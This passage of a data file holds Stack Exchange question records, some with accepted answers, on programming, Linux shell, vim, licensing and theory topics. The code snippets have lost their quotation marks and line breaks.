std::runtime_error(ThorsAnvil::Serialize::JsonParser: Not a String value);    }    // Remember to drop the quotes    return std::string(make_UnicodeWrapperIterator(lexer.YYText() + 1),                       make_UnicodeWrapperIterator(lexer.YYText() + lexer.YYLeng() - 1));}std::string JsonParser::getKey(){    return getString();}template<typename T>inline T JsonParser::scan(){    char*   end;    T value = scanValue<T>(lexer.YYText(), &end);    if (lexer.YYText() + lexer.YYLeng() != end)    {        throw std::runtime_error(ThorsAnvil::Serialize::JsonParser: Not an integer);    }    return value;}void JsonParser::getValue(short& value)                         {value = scan<short>();}void JsonParser::getValue(int& value)                           {value = scan<int>();}void JsonParser::getValue(long& value)                          {value = scan<long>();}void JsonParser::getValue(long long& value)                     {value = scan<long long>();}void JsonParser::getValue(unsigned short& value)                {value = scan<unsigned short>();}void JsonParser::getValue(unsigned int& value)                  {value = scan<unsigned int>();}void JsonParser::getValue(unsigned long& value)                 {value = scan<unsigned long>();}void JsonParser::getValue(unsigned long long& value)            {value = scan<unsigned long long>();}void JsonParser::getValue(float& value)                         {value = scan<float>();}void JsonParser::getValue(double& value)                        {value = scan<double>();}void JsonParser::getValue(long double& value)                   {value = scan<long double>();}void JsonParser::getValue(bool& value){    if (lexer.YYLeng() == 4 && strncmp(lexer.YYText(), true, 4) == 0)    {        value = true;    }    else if (lexer.YYLeng() == 5 && strncmp(lexer.YYText(), false, 5) == 0)    {        value = false;    }    else    {        throw std::runtime_error(ThorsAnvil::Serialize::JsonParser: Not a bool);    }}void JsonParser::getValue(std::string& value){    value = getString();}"  , "title": "Serialization: Step 1 Json Parser"  , "tags": "c++;json"  } 
{  "id": "_unix.280511"  , "question": "I have to compare two MySql database data, I want to compare two MySql schema and find out the difference between both schema.I have created two variables Old_Release_DB and New_Release_DB. In Old_Release_DB I have stored old release schema than after some modification like I deleted some column, Added some column, Renamed some column, changed column property like increase datatype size (ex: varchar(10) to varchar(50)). Than it became new release schema that I have stored in  New_Release_DB.Now I want to Table Name, list of column name which has changed in New_Release_DB, and changes along with column name.Example,Table_A Column_Name Add(if it is added),Table_A Column_Name Delete(if it is deleted),Table_A Column_Name Change(if its property has changed)I am trying it in Shell script in Linux, But I am not getting it. Please let me know If I can use other script like python or java. "  , "title": "How to compare two tables and find the difference between in Linux using shell script?"  , "tags": "linux;shell script"  } 
{  "id": "_scicomp.14469"  , "question": "Is it possible to simulate interaction of Smart Fluids with Solids? Is  there a software capable of doing so?What I Know:The two software that I know of are Autodesk Simulation Mechanical and Computational Fluid Dynamics. The brochures and information about these software do not mention Smart Fluids anywhere.What I need to Know:Alternative Open Source Software that can do the job specified. If they can't, then I would like to know a way to do so.What I need to Do: Study effects of electric current on Smart Fluids flowing through solid cracks.PS:Is it possible to include Radiation and Radioactivity in the scenario also?Thanks to everyone who read this question. Please comment to point out my mistakes as I am relatively new to Stack Exchange and would like to know how to use it properly."  , "title": "Simulating interaction of Smart Fluids with Solids"  , "tags": "fluid dynamics;simulation;electromagnetics;open source"  } 
{  "id": "_codereview.68782"  , "question": "Edit: I am hoping to get some review / make sure I am understanding dynamic programming correctly.I am trying to print out all additive numbers up to digits n using dynamic programming.  Additive numbers are those like 123, 1235, etc., where the sum of every 2 digits from left to right is equal to the third digit.  In this definition, non-trivial additive numbers must necessarily be at least 3 digits long, though for numbers of 2 digits or less one could trivially print out all digits 0-99.  Furthermore, this definition implies the set of additive numbers is finite and relatively tiny.  If there is a better definition of an additive number or I have misunderstood it, feel free to point out.  I believe dynamic programming is a good approach to this problem, because the solutions of n - 1 need to be re-used to compute the solutions to n.  A brute force algorithm is possible, but I think far more inefficient.  Here is my solution in Python.  It will print them all out and also return the trellis that contains the solutions for each digit.  Note that for n >= 9, there are no more additive numbers.# -*- coding: utf-8 -*-Dynamic programmingBASE_CASE = 3def print_additive_numbers(n=BASE_CASE):    Prints all additive numbers up to n digits    Additive numbers are numbers of the form 123, 1235, etc.    where the sum of every 2 digits is equal to the third digit    in the digit expansion of the number.    We use dynamic programming to iteratively generate    additive numbers for increasing digits, as the solutions to    n = 3 are re-used for n = 4, n = 5, etc.    Args:        n: the maximum number of digits for each representation    Returns:        A dictionary mapping each number of digits to all        possible additive numbers.        if n < BASE_CASE:        raise ValueError, additive numbers always have 3 or more digits    #build the initial trellis    trellis = {}    trellis[BASE_CASE] = {}    for i in xrange(1, 9):        row = []        for j in xrange(0, 9):            if i + j <= 9:                print str(i) + str(j) + str(i + j)                row.append(str(j) + str(i + j))        trellis[BASE_CASE][i] = row    for m in xrange(BASE_CASE + 1, n + 1):        trellis[m] = {}        for key in trellis[m - 1].keys():            row = []            for digits in trellis[m - 1][key]:                first_digit = int(digits[-2])                second_digit = int(digits[-1])                new_digit = first_digit + second_digit                if new_digit <= 9:                    row.append(digits + str(new_digit))                    print str(key) + digits + str(new_digit)            trellis[m][key] = row                                   return trellist = print_additive_numbers(9)"  , "title": "Dynamic Programming for printing additive numbers up to digits n"  , "tags": "python;dynamic programming"  } 
{  "id": "_unix.258197"  , "question": "I have the following string:col1|col2|col3+++++++++++A|1|a B|2|b C|3|c D|4|d  (3 rows)I want to split this string so as to remove the string in the beginning till the last + symbol and then remove the tail end which is (XYZ rows)so the string becomes A|1|a B|2|b C|3|c D|4|dNow, I want to split this string into multiple arrays that look like thisA 1 a B 2 b C 3 c D 4 dso that I can iterate over each row using for loop to do some processing.How can I do this using sed or grep?I tried this for the first pass but it didn't workecho $string | sed 's/([0-9])rows//' | sed 's/[^+]//'but it didn't work. "  , "title": "How to replace string within parenthesis using using sed"  , "tags": "text processing"  , "accepted_answer": "By variable expansion in bash:str=col1|col2|col3+++++++++++A|1|a B|2|b C|3|c D|4|d  (3 rows)str=${str%  (*}str=${str##*+}str=${str// /}str=${str//|/ }Or by sedsed 's/.*+\\(.*\\S\\)\\s\\+(.*/\\1/;y/ |/\\n /' <<\\eofcol1|col2|col3+++++++++++A|1|a B|2|b C|3|c D|4|d  (3 rows)eofA 1 aB 2 bC 3 cD 4 d"  } 
{  "id": "_unix.121674"  , "question": "Gnome desktop environment stopped working after change in libudev.so.0 in /lib/x86_64-linux-gnu/ and showing error:cannot open shared librariesI am trying too hard to get rid of this problem but unable to solve. I have 64 bit kali debian based linux(~).Now I donot have any files realted to libudev.so.* in /lib/x86_64-linux-gnu/. From this my gdm is also not working."  , "title": "Gnome desktop environment stopped working in kali linux(debian based)"  , "tags": "debian;gdm;kali linux"  , "accepted_answer": "Solved after long try by just making live cd of kali linux and copy libudev.so.0.13.0, libudev.so.0(link) and paste it in /lib/x86_64-login-gnu/."  } 
{  "id": "_webapps.99617"  , "question": "It looks like that non-UK visitors are being auto-redirected from https://bbc.co.uk to http://bbc.com. (Notice how the latter site isnt HTTPS, which makes it doubly annoying.)Is there a way to prevent this? I would like to browse their UK site."  , "title": "How to prevent BBC UK from auto-redicrecting to the international site?"  , "tags": "bbc"  } 
{  "id": "_softwareengineering.147861"  , "question": "My goal is to include modules sources files into War file.I read this explanation on the maven official site:http://maven.apache.org/plugins/maven-assembly-plugin/examples/multimodule/module-source-inclusion-simple.htmlI wonder if it's the only way to include all sources files contained within all modules.Can't the simple maven-plugin-war do the same ?"  , "title": "Including Module Source files into War file using Maven"  , "tags": "java;web applications;maven"  , "accepted_answer": "The Maven plugins for packaging can be confusing to work with. You could write a small ANT script and call it from a plugin execution. I sometimes do this if I have complex packaging requirements. It's not elegant, but it gives you full control of the packaging process."  } 
{  "id": "_unix.3575"  , "question": "Is this possible?  "  , "title": "Display transfer speed when performing cp from the command line?"  , "tags": "command line;cp;file transfer"  } 
{  "id": "_unix.59949"  , "question": "At least every Linux system that I worked with used the convention to switch to the non-graphical consoles by Ctrl-Alt-F1, Ctrl-Alt-F2 and so on.Recently, I installed CentOS 6.3 on a machine. The installation is non-customized and uses Gnome 2.To my surprise Alt-F4 switches to console. Alt-F1 then brings you back to the XServer. How can I change the keybinding to Ctrl-Alt instead of simply Alt?It also seems to bypass Gnome's key bindings. In Gnome, I tried to define Alt-F4 as close window, but it does not work but still switches to the console."  , "title": "CentOS: Avoid that ALT-F4 switches to console"  , "tags": "centos;xorg;keyboard shortcuts"  , "accepted_answer": "The problem vanished after a restart. I can only speculate about the reasons. It is possible to set CTRL per software. Maybe that happened. I didn't mess around with keymap or anything like that, so I don't know what caused the problem.Sorry, for the false alarm. :-(Edit:From time to time, the problem repeats. It vanishes with a restart. I still don't know why.Update:Had the problem again on two Arch Linux systems. It occurred exactly after a Linux kernel update, but before the system was rebooted. After the reboot, the problem was gone on both systems."  } 
{  "id": "_softwareengineering.15842"  , "question": "I am thinking about creating a silverlight application, and I lack the skills to create a good looking UI.Today's graphic designers usually know HTML and CSS and thus save me the trouble of doing something I am not very good with.Is this the same case with XAML?Do I have to hire two employees for this job?"  , "title": "Are XAML UI designers common today?"  , "tags": "design;gui"  , "accepted_answer": "Silverlight is a pretty cool technology, but I'm seriously concerned about its future. However, if you want a cool UI done in XAML... you have several options. Hire a Silverlight/WPF dev and hope they also design / See #3Hire a UX designer with XAML skillzHire a great graphic designer and then hire #1 OR you can use the built-in Ai/PSD to XAML tools in Expression Studio (design).Tons of options, if you are a small company you may even qualify for Bizspark ( a free version of Expression Studio). Good luck."  } 
{  "id": "_vi.11602"  , "question": "I've turned on vim's relative line numbers, it starts from 0 but doing somthing like 10dd means I only get up to line 9, leaving the last one behind (becuase it's 10 including the current line). Yes, I know, It's only a super simple equation (10 + 1) but it's time taken up when I just want to check the number in the gutter and instantly get the number.Is there a way to change the number the relative numbers start on? From 0 to 1? I've googled but I can't find anything and I did check out VIM's help page on the 'relativenumber' and 'number_relativenumber' sections but I couldn't see anything on it (or I probably missed it if it's there).So is there any way to do this or is just not possible?"  , "title": "In VIM, Change the number that relative lines numbers start from"  , "tags": "options;line numbers"  , "accepted_answer": "Well, vim is open source.  If you clone it from:git clone https://github.com/vim/vim.gitYou can make the following changes to src/screen.c to do what you want:diff --git a/src/screen.c b/src/screen.cindex 20a778a68..38d4368a9 100644--- a/src/screen.c+++ b/src/screen.c@@ -2521,8 +2521,8 @@ fold_line(        else        {        /* 'relativenumber', don't use negative numbers */-       num = labs((long)get_cursor_rel_lnum(wp, lnum));-       if (num == 0 && wp->w_p_nu && wp->w_p_rnu)+       num = labs((long)get_cursor_rel_lnum(wp, lnum)) + 1;+       if (num == 1 && wp->w_p_nu && wp->w_p_rnu)        {            /* 'number' + 'relativenumber': cursor line shows absolute             * line number */@@ -3745,8 +3745,8 @@ win_line(            else            {                /* 'relativenumber', don't use negative numbers */-               num = labs((long)get_cursor_rel_lnum(wp, lnum));-               if (num == 0 && wp->w_p_nu && wp->w_p_rnu)+               num = labs((long)get_cursor_rel_lnum(wp, lnum)) + 1;+               if (num == 1 && wp->w_p_nu && wp->w_p_rnu)                {                /* 'number' + 'relativenumber' */                num = lnum;But sorry, examining the source confirms there's no existing option available to do what you want."  } 
{  "id": "_unix.47682"  , "question": "I'm currently installing Archlinux on my new computer but Windows seems to be installed using UEFI and I'm quite in a rush right now and I don't have time to install Archlinux using EFISTUB or something like that (it seems very painfull to perform).So here is my question : Is there a live persistant distribution based on Archlinux (and quite easy to install) ?Except FaunOS because I can't find it anywhere on the internet (it seems that the project has been discontinued). In the best case I would like to have a Gnome3 desktop. Can someone help me ? =)"  , "title": "Is there an Arch based live persistant distribution?"  , "tags": "arch linux;live usb"  , "accepted_answer": "Archbang and Manjaro both are distroes based on Arch-Linux with an easy to use install script, both have ability to be used as a Live system using a CD/DVD drive or any USB drive;In USB mode there are some way to install ArchBang as a persistent system.Here is a tutorial on how to make a live persistent distribution. Take look at chakra, it has a very nice installer."  } 
{  "id": "_softwareengineering.140331"  , "question": "I wrote some sorting algorithms for a class assignment and I also wrote a few tests to make sure the algorithms were implemented correctly.  My tests are only like 10 lines long and there are 3 of them but only 1 line changes between the 3 so there is a lot of repeated code.  Is it better to refactor this code into another method that is then called from each test?  Wouldn't I then need to write another test to test the refactoring?  Some of the variables can even be moved up to the class level.  Should testing classes and methods follow the same rules as regular classes/methods?Here's an example:    [TestMethod]    public void MergeSortAssertArrayIsSorted()    {        int[] a = new int[1000];        Random rand = new Random(DateTime.Now.Millisecond);        for(int i = 0; i < a.Length; i++)        {            a[i] = rand.Next(Int16.MaxValue);        }        int[] b = new int[1000];        a.CopyTo(b, 0);        List<int> temp = b.ToList();        temp.Sort();        b = temp.ToArray();        MergeSort merge = new MergeSort();        merge.mergeSort(a, 0, a.Length - 1);        CollectionAssert.AreEqual(a, b);    }    [TestMethod]    public void InsertionSortAssertArrayIsSorted()    {        int[] a = new int[1000];        Random rand = new Random(DateTime.Now.Millisecond);        for (int i = 0; i < a.Length; i++)        {            a[i] = rand.Next(Int16.MaxValue);        }        int[] b = new int[1000];        a.CopyTo(b, 0);        List<int> temp = b.ToList();        temp.Sort();        b = temp.ToArray();        InsertionSort merge = new InsertionSort();        merge.insertionSort(a);        CollectionAssert.AreEqual(a, b);     }"  , "title": "Is it OK to repeat code for unit tests?"  , "tags": "testing;unit testing;code quality"  , "accepted_answer": "Test code is still code and also needs to be maintained.If you need to change the copied logic, you need to do that in every place you copied it to, normally.DRY still applies. Wouldn't I then need to write another test to test the refactoring?Would you? And how do you know the tests you currently have are correct?You test the refactoring by running the tests. They should all have the same results."  } 
{  "id": "_unix.169928"  , "question": "I am reading a tutorial that wants me to place a script file called script.sh into a folder called /etc/profile.d/.  However, when I try to save the script.sh file in that directory, the gedit tool gives me an error stating that I do not have privileges to save in that folder.  So I saved script.sh on the desktop temporarily.  I cannot even view the contents of the /etc/ folder through the GUI.  (Unless it is empty and I am seeing truly empty contents.)  I can run the terminal as root by typing su - root, but what do I type to either move the script.sh file from the desktop to /etc/profile.d/script.sh or to open gedit in a way that lets me save it to /etc/profile.d/script.sh?"  , "title": "moving a file to a folder with root privileges in CentOS 7"  , "tags": "centos;files;root;gedit"  , "accepted_answer": "If you have the sudo package try gksudo nautilus, otherwise use sudo mv -v /home/username/Desktop/script.sh /etc/profile.d/script.sh For more, try man mvsudo elevates the command following it temporarily to perform tasks like you describred."  } 
{  "id": "_webmaster.18336"  , "question": "An SEO told me that he recently read of a Google SEO tool that shows actual QUESTIONS (rather than queries = Google keyword tool) that are typed into Google, based on the keywords one enters. Unfortunately, he could not remember the name of the tool nor where it was that linked to it. Since I run a Q&A site, such a tool would be extremely valuable to me for keyword optimization. Does anyone know of such a tool, or anything that is similar? Thank you in advance. "  , "title": "Google SEO tool that shows search questions based on keywords?"  , "tags": "seo;google;keywords"  , "accepted_answer": "This person might have been referring to WordTracker's Questions Tool."  } 
{  "id": "_softwareengineering.355941"  , "question": "I'm a long-time Java programmer familiar with the Java Memory Model. I'm starting to learn C#, and based on what I've learned so far, the C# memory model seems to be very similar to the JMM.  This validates my previous understanding that the JMM reflects the characteristics of architectures supported by the JVM.  The language requirements reflect the weakest guarantees of all the supported architectures.But one difference I've noticed is in the way developers from Java and C# backgrounds talk about architectures.  Where Java programmers speak of improperly synchronized code manifesting bugs on some architectures, C# programmers tend to be more specific.  For example, this article names Itanium as having a weak memory model:The mainstream x86 and x64 processors implement a strong memory model where memory access is effectively volatile. ... The Itanium processor implements a weaker memory model.I've only worked on x86 and x64, and I never knew what architectures imposed the mysterious requirements of the JMM that never seemed to matter when I tried to demonstrate the effects of violating them.  Now I know of one.What other architectures have weak memory models?"  , "title": "What architectures have weak memory models?"  , "tags": "architecture;memory"  , "accepted_answer": "Nearly all RISCs have weak memory ordering models. (Memory ordering is a better term for this because memory model is too broad.) That means an ordering between memory accesses shall be explicitly requested with barrier AKA fence instructions. For x86 (any bitness), most barriers (but not all) are implicit.Just in case,  a Memory ordering topic is a good start. Another example of good description is C++ memory order constants."  } 
{  "id": "_opensource.650"  , "question": "The point of using the GNU Affero General Public License (Version 3) is that it allows users who interact with the licensed software over a network to receive the source for that program (FSF).Section 13 of the AGPLv3.0 contains:[] if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version []It says if you modify. Does this really mean that the source only has to be made available if it was modified (assuming that I dont offer/distribute the application itself, i.e., its binary, at all)? Or am I missing something, maybe somewhere else in the license?In other words: I install a Web application licensed under the AGPLv3.0 on my server.I dont modify this application at all. I allow people to use it over the Web.Do I have to offer the source code of this application?"  , "title": "Do I have to offer the source of an AGPL (v3.0) licensed Web app even if I didnt modify it?"  , "tags": "licensing;agpl 3.0;source code"  , "accepted_answer": "I wrote to the FSF's licensing team about this question:[...] Does this [section 13] mean that if I run a *completely unmodified* AGPL-licensed program as a network service, I am *not* required to offer the source code to network users?And I received this response (bracketed phrase added by me):[...] If you haven't modified the software then you are not required to add that functionality [i.e., to download the source]. Of course, if the functionality to download the source is already in the unmodified software, it will already be there for everyone to enjoy.So, if you use an unmodified AGPL application that doesn't have download-source functionality, you are not required to add one or otherwise offer the source to users. If you do modify the software, of course, you are required to add a mechanism to allow users to download your modified source.As a practical matter, an author who cares about source-sharing enough to license code under the AGPL would probably include a mechanism or link to download the source in the original program. This is kind of an edge case, because it only applies when both (1) you want to use the AGPL software unmodified, and (2) the AGPL software doesn't already include a download-source mechanism. If either of those conditions is false, the software must (or already does) include a way to download the source."  } 
{  "id": "_webapps.22965"  , "question": "In Gmail, I have the smart labels 'Bulk', 'Forums', 'Notifications'. I have a daily reminder email sent everyday that is now getting marked as 'Bulk' which is a correct categorization, however I want these to still show up in my inbox, without all the other 'Bulk' mail also showing in the inbox.Is there a way to do this?"  , "title": "How to prevent certain 'Bulk' labeled email from skipping the inbox?"  , "tags": "gmail;gmail labels"  , "accepted_answer": "I found that there wasn't a way, even with re-categorizing like the blog post suggests, to get messages to not end up in the Bulk label. Disabling smart filters and writing my own specific filters to move messages to a Bulk folder was the only way."  } 
{  "id": "_webmaster.29842"  , "question": "I did everything asked of me in the following link:  http://support.google.com/websiteoptimizer/bin/answer.py?hl=en&answer=77075But am still not seeing my Google Optimizer stats inside Google Analytics.Do both of my Account Ids have to be set differently or the same???"  , "title": "How do I integrate Google Website Optimizer into my Google Analytics account?"  , "tags": "google analytics;google website optimizer"  } 
{  "id": "_unix.284123"  , "question": "Do all threads of a specific process share the same status (D, R, S, ...) or may there be differences among these threads?If so, where in /proc do I find information about the status of a certain thread? I am reading the process status from the /proc/<PID>/status files at the moment."  , "title": "Status of a threads vs. status of a process"  , "tags": "process;thread"  , "accepted_answer": "Different threads can certainly be in a different scheduler state at the same time. In fact, if they're all in the same state, that's a coincidence (except for stopped (Z), because that affects the whole process).The subdirectory /proc/PID/task contains a subdirectory per thread of the process. The files in this directory are mostly the same as in the per-process directory. Some of the information is just duplicated (e.g. memory-related information, environment, privileges, etc.). Information that's specific to a thread, such as the scheduler state (running/sleeping/IO/), can differ."  } 
{  "id": "_softwareengineering.203674"  , "question": "So I've done a lot of research and found that Codecademy has been mentioned several times on other forums. I got stuck in and chose JavaScript through Codecademy most probably thinking it was 'Java' and I'm now slightly concerned that I have made a bad choice.. due to the fact that I see posts mentioning JavaScript teaches bad habits and so on...Should I stop and learn other languages offered on 'Codecademy'?Should I stop using codecademy altogether?Or finally should I just wait until I start my degree and pose as a blank canvas?All opinions wanted, thank you.P.s I'm not entirely certain what jobs I will be applying for in the future but to give some indication I don't believe it will be website development and more so on the game or application designing side of things"  , "title": "Should I be learning JavaScript before studying computer science?"  , "tags": "java;javascript"  } 
{  "id": "_cstheory.11620"  , "question": "This is a generalisation of the following post: Existence of colouring matrices.As the base case turned out to be fairly straightforward (in essence, precisely equal to the existence of Sperner families), I am feeling a bit more optimistic about the general case as well. Let's see how far we can get.DefinitionLet's switch from the matrix notation to a function notation. Again, $[i] = \\{1,2,...,i\\}$.A function $f\\colon [c]^d \\to [k]$ is a $d$-dimensional $c$-to-$k$ colouring function, in notation $f\\colon c \\leadsto_d k$, if the following holds for all $x_1, x_2, ..., x_{d+1} \\in [c]$ with $x_1 \\ne x_2 \\ne ... \\ne x_{d+1}$: $$f(x_1,x_2,...,x_d) \\ne f(x_2,x_3,...,x_{d+1}).$$We write $c \\leadsto_d k$ if $f\\colon c \\leadsto_d k$ for some $f$.Now $c \\leadsto k$ in the previous question is exactly equal to $c \\leadsto_2 k$ in this question, as it is trivial to interpret a colouring matrix as a $2$-dimensional colouring function.An exampleThe $1$-dimensional case is trivial. We already saw examples of $2$-dimensional colouring functions in the previous question. Here is a simple example of a $3$-dimensional colouring function $f\\colon k+1 \\leadsto_3 k$, for any $k \\ge 3$:$f(x,y,z) = y$ if $y \\ne k+1$,$f(x,y,z) = \\min ( \\{1,2,3\\} \\setminus \\{x,z\\} )$ if $y = k+1$.(This can be interpreted as a greedy graph colouring algorithm, in the case of $2$-regular graphs; $y$ is the old colour of a node $v$, $x$ and $z$ are the old colours of its two neighbours, and $f(x,y,z)$ is the new colour of node $v$. In essence, nodes of colour $k+1$ pick the smallest free colour that is available in their neighbourhood.)CompositionLower-dimensional colouring functions can be easily composed into higher-dimensional colouring functions. For example, assume that $$f_1\\colon c_0 \\leadsto_2 c_1, \\quad f_2\\colon c_1 \\leadsto_2 c_2.$$ Now we can construct a colouring function $$g\\colon c_0 \\leadsto_3 c_2$$ as follows: $$g(x,y,z) = f_2(f_1(x,y), f_1(y,z)).$$To see that this construction is correct, it is sufficient to note that $w \\ne x \\ne y \\ne z$ implies $f_2(w, x) \\ne f_2(x,y) \\ne f_2(y,z)$, which implies $f_1(f_2(w, x), f_2(x,y)) \\ne f_1(f_2(x, y), f_2(y,z))$.As we observed in the previous post, we have, for example, $$20 \\leadsto_2 6 \\leadsto_2 4.$$ Therefore we also have $$20 \\leadsto_3 4.$$However, this is not optimal! There is a computer-generated construction that shows that $$24 \\leadsto_3 4.$$ Note that this is not possible to achieve by merely composing any $2$-dimensional colouring functions.(If we construct $d$-dimensional colouring functions by composing $2$-dimensional colouring functions, we do get an asymptotically optimal solution; for example, $c \\leadsto_2 \\Theta(\\log c)$, $c \\leadsto_3 \\Theta(\\log \\log c)$, etc. However, this question is really about exact constants, especially for small values of $c, k, d$.)QuestionsOf course ideally we would like to understand precisely when we have $c \\leadsto_d k$. But here are some more down-to-earth questions; resolving any of those would be helpful:Is there a simple (human-generated) function $f\\colon 24 \\leadsto_3 4$? Or anything substantially better than $20 \\leadsto_3 4$?Is there a simple (human-generated) proof that $25 \\leadsto_3 4$ does not hold?More generally, can we construct optimal $3$-dimensional colouring functions?Edit: Here is yet another example of a relevant question:By composition, we have $24 \\leadsto_5 3$. Can we do better, for example, does $25 \\leadsto_5 3$ hold?NotesThe existence of colouring functions is closely related to the chromatic number of a certain graph. For example, you can construct a graph $G(c,d)$ in which each $d$-tuple $(x_1,x_2,...,x_d) \\in [c]^d$ is a node, and there are edges between nodes $(x_1,x_2,...,x_d)$ and $(x_2,x_3,...,x_{d+1})$ for all $x_1 \\ne x_2 \\ne ... \\ne x_{d+1}$. Now the chromatic number of $G(c,d)$ is at most $k$ if and only if $c \\leadsto_d k$. However, while this interpretation is helpful from the perspective of understanding the asymptotics, I do not know if it helps with the above questions."  , "title": "Existence of colouring matrices  a generalisation"  , "tags": "co.combinatorics;lower bounds;dc.distributed comp"  } 
{  "id": "_unix.331973"  , "question": "I have an old Acer S2W 3300 U scanner that I used to use in Linux some ten years ago.  Tried to install it in an updated Slackware64 linux box, but the kernel doesn't seem to be able to identify it. # uname -a                                                                          Linux leao 4.4.38 #2 SMP Sun Dec 11 16:11:02 CST 2016 x86_64 Intel(R) Xeon(R) CPU E3-1246 v3 @ 3.50GHz GenuineIntel GNU/Linux# grep -v '^#' /etc/sane.d/snapscan.conf | head  -6                                 firmware /usr/share/sane/snapscan/u176v046.bin/dev/usb/scanner0 bus=usb# ls -l /usr/share/sane/snapscan/u176v046.bin                                       -rwxr-xr-x 1 lupe lupe 31385 nov 12 00:44 /usr/share/sane/snapscan/u176v046.bin# dmesg | tail[  452.508560] usb 1-13: unable to read config index 0 descriptor/start: -110[  452.508563] usb 1-13: can't read configurations, error -110[  452.661561] usb 1-13: new full-speed USB device number 12 using xhci_hcd[  457.825481] usb 1-13: unable to read config index 0 descriptor/start: -110[  457.825484] usb 1-13: can't read configurations, error -110[  457.978466] usb 1-13: new full-speed USB device number 13 using xhci_hcd[  462.990385] usb 1-13: unable to read config index 0 descriptor/start: -110[  462.990389] usb 1-13: can't read configurations, error -110[  463.143374] usb 1-13: new full-speed USB device number 14 using xhci_hcdCan I have any hope to make this work?"  , "title": "Unable to enumerate USB device"  , "tags": "linux;kernel;usb;scanner"  } 
{  "id": "_unix.28781"  , "question": "If want to express the following test in shell (sh) :if ( a == 1 && ( b == 1 || b == 2 )) { ... }So far, the best I have been able to write is this :if [[ $a -eq 1 ]]; then  if [[ $b -eq 1 || $b -eq 2 ]]; then     ...  fifiI don't know how to compound && and || with correct precedence. Googling has not given me any answer (tutorials only give basic examples, if any)What is the syntax to combine those two if into one ?"  , "title": "What is the syntax of a complex condition in shell?"  , "tags": "shell"  , "accepted_answer": "Note that [[ ]] is not in either Bourne or POSIX sh.  For true sh syntax, there are several ways to do this.Using only one [ ] pairif [ 1 -eq $a -a \\( 1 -eq $b -o 2 -eq $b \\) ]; then    # ...fior Avoiding the POSIX -a and -o options1if [ 1 -eq $a ] && { [ 1 -eq $b ] || [ 2 -eq $b ]; }; then    # ...fi1 One reason for avoiding -a and -o is maximum portability - not all test or [ implementations can handle more than 4 arguments, which is precisely what you get if you chain expressions with -a and -o and \\( \\)."  } 
{  "id": "_cs.58028"  , "question": "Is the number of possible programs usually finite or infinite? I'm playing with the idea of generating all possible programs for a language - is that even a finite number or must we be more specific, finite RAM etc?"  , "title": "Number of possible programs in a language"  , "tags": "programming languages"  , "accepted_answer": "When considering such questions we usually disregard limitations of real computers and think about a programming language theoretically.A general-purpose programming language (any language used in practice falls into this category) has infinitely many programs. Furthermore, all programs can be generated systematically. Implementing a program which generates all programs may be a useful learning experience, but has little actual value. The number of all programs of length $n$ is exponential in $n$ and so is unfeasable, except for fairly small values of $n$."  } 
{  "id": "_codereview.159173"  , "question": "I think I have pretty much the best code you can get when it comes to this particular task, but I'm always open to improvement. This code will check everything I can think of to make sure that it will actually work and if it is an isosceles triangle. It will make sure that none of the sides are 0, it will check whether the lengths of the sides are even possible and it will make sure that the user actually inputted a number.import timeprint(I am going to ask you for three numbers. These numbers can be integers or decimals. They will be the sides of a triangle, and I will tell you if it is an isosceles triangle or not.)time.sleep(2.5)while 2>1:    try:        side1 = float(input(How long is the first side of the triangle? ))        if float(side1) == 0.0:            print(This is an impossible triangle!)            time.sleep(2.5)            break        else:            0    except ValueError:        print(That's not a number...)        time.sleep(2.5)        break    time.sleep(0.25)    try:        side2 = float(input(How long is the second side? ))        if float(side2) == 0.0:            print(This is an impossible triangle!)            time.sleep(2.5)            break        else:            0    except ValueError:        print(That's not a number...)        time.sleep(2.5)        break    time.sleep(0.25)    try:        side3 = float(input(How long is the third side? ))        if float(side3) == 0.0:            print(This is an impossible triangle!)            time.sleep(2.5)            break        else:            0    except ValueError:        print(That's not a number...)        time.sleep(2.5)        break    time.sleep(1)    if side1 == side2 == side3:        print(This is not an isosceles triangle!)    elif float(side1)>float(side2) and float(side1)>float(side3):        if (float(side2)+float(side3))<(float(side1)-0.000001):            print(This is an impossible triangle!)        else:            if side1 == side2:                print(This is an isosceles triangle!)            elif side1 == side3:                print(This is an isosceles triangle!)            elif side2 == side3:                print(This is an isosceles triangle!)            elif side1 != side2 and side1 != side3:                print(This is not an isosceles triangle!)            elif side2 != side1 and side2 != side3:                print(This is not an isosceles triangle!)            elif side3 != side1 and side3 != side2:                print(This is not an isosceles triangle!)    elif float(side2)>float(side1) and float(side2)>float(side3):        if (float(side1)+float(side3))<(float(side2)-0.000001):            print(This is an impossible triangle!)        else:            if side1 == side2:                print(This is an isosceles triangle!)            elif side1 == side3:                print(This is an isosceles triangle!)            elif side2 == side3:                print(This is an isosceles triangle!)            elif side1 != side2 and side1 != side3:                print(This is not an isosceles triangle!)            elif side2 != side1 and side2 != side3:                print(This is not an isosceles triangle!)            elif side3 != side1 and side3 != side2:                print(This is not an isosceles triangle!)    elif float(side3)>float(side2) and float(side3)>float(side1):        if (float(side1)+float(side2))<(float(side3)-0.000001):            print(This is an impossible triangle!)        else:            if side1 == side2:                print(This is an isosceles triangle!)            elif side1 == side3:                print(This is an isosceles triangle!)            elif side2 == side3:                print(This is an isosceles triangle!)            elif side1 != side2 and side1 != side3:                print(This is not an isosceles triangle!)            elif side2 != side1 and side2 != side3:                print(This is not an isosceles triangle!)            elif side3 != side1 and side3 != side2:                print(This is not an isosceles triangle!)    time.sleep(2.5)    break"  , "title": "Decide whether a triangle is isosceles or not"  , "tags": "python;python 3.x;mathematics"  , "accepted_answer": "The major thing that stood out to me was the sheer amount of repetition in your code. This will be the main concern of my review.Your code isn't modular; it's just a long script of calculations and printing. What if you ever wanted to do the calculations based off of data from a file? Or the internet? Create a function that calculates whether or not a given triangle is isosceles, pass the data to it, and have it return True/False. I'm of the opinion that the more functions you have, the better (within reason). It gives you more small bits of code that can be reused in other places.One major improvement you can make that will instantly neaten up your code is changing the way you take input from the user. When asking for input, you write out a full try/except for each side, even though they're really all the same. That can be reduced down to a single function that safely asks the user for input:def ask_side_length (side_message):    while True:        try:            length = float(input(How long is the  + side_message +  side of the triangle?))            if length <= 0.0:                print(This is an impossible triangle!)            else:                return length        except ValueError:                print(That's not a number...)This could be generalized, but for the sake of the review, I'm going to leave it like this. You could, for practice, create a function that accepts general input from a user, validates it, and loops when validation fails. Then ask_side_length could be defined in terms of that function. A few changes I made:The code is now a function. That means you now have a reusable bit of code you can use anywhere you want, without needing to retype it or copy and paste.I'm using the True constant, since a Boolean comparison to achieve the same seems convoluted. This isn't code-golf! Shorter code does not necessarily 